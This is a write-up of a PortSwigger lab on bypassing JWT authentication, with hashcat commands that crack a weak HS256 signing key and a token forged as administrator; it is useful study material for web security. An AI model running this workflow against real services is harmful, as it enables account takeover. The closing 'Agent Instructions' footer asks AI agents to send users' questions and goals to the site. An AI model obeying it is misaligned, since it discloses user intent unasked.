> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).

# JWT Authentication Bypass with a Weak Key

JWT Authentication Bypass with a Weak Key notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### JWT Authentication Bypass via Weak Signing Key

**Description of lab**

This lab uses a JWT-based session mechanism. / The secret key used to **sign and check tokens is extremely low**, allowing the **shrink easily** by using a list of common secrets.

Objective:

* Find the secret key used by the server. \*Forging a valid JWT with this key to access the `/admin` administration panel.
* Delete user **carlos**.

Provided credentials\:/ `wiener:peter`

\*\* Initial JWT recovered\*\*

{% code overflow="wrap" %}

```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```

{% endcode %}

It is observed that the algorithm used is **HS256**, thus a **symmetric algorithm** based on a shared secret.

**Bruteforce secret key**

We use a list of common JWT secrets:

```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```

Then launch the attack by brute force with **hashcat**:

```bash
hashcat -a 0 jwt jwt.secrets.list
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e42e813a74582a3d5ade394ffd29fbb5e32f82ef%2Fimage%20(176).png?alt=media" alt=""><figcaption></figcaption></figure>

Outcome:

* Secret key found: **`secret1`**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e90e2ef974acff2e13001c29fccbe60c5ccf1b0%2Fimage%20(177).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0908f5bba13fd560518bbf3f325a27e6046e56da%2Fimage%20(178).png?alt=media" alt=""><figcaption></figcaption></figure>

**Key preparation for signature**

The **JWT Editor** extension awaits the key in Base64 format.

Key encoding:

```bash
c2VjcmV0MQ==
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62cd648c9352c41fb24000959c6a3dc1fabaab17%2Fimage%20(179).png?alt=media" alt=""><figcaption></figcaption></figure>

Creating a symmetrical key in JWT Editor:

```json
{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-923df56ec7c3033d6218977884c33b4113bfdd05%2Fimage%20(180).png?alt=media" alt=""><figcaption></figcaption></figure>

A key ID (`kid`) is then generated and used to sign the token.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1f6c6990d9b028a08ca84c95db4da725f9085d%2Fimage%20(181).png?alt=media" alt=""><figcaption></figcaption></figure>

**JWT Modification**

* Interception of the request containing JWT.
* Change the `sub` field:
* `wiener` → `administrator`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e71d1b637e3795c1bc7a7e32a8db761ff9e9e479%2Fimage%20(182).png?alt=media" alt=""><figcaption></figcaption></figure>

Token re-signature with secret key found

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a1f2c1adba3c60fa3744add479111444d7fc8d7%2Fimage%20(183).png?alt=media" alt=""><figcaption></figcaption></figure>

Final forged JWT:

```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```

**Result**

* The server accepts the JWT signed with the weak key.
* Successful access to `/admin` panel.
* The user is recognized as \*\* administrator\*\*.
* The lab is validated after removal of the user **carlos**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c74eee1bf826cc0f74eff3c38b88b2a0b1d8e0c%2Fimage%20(184).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
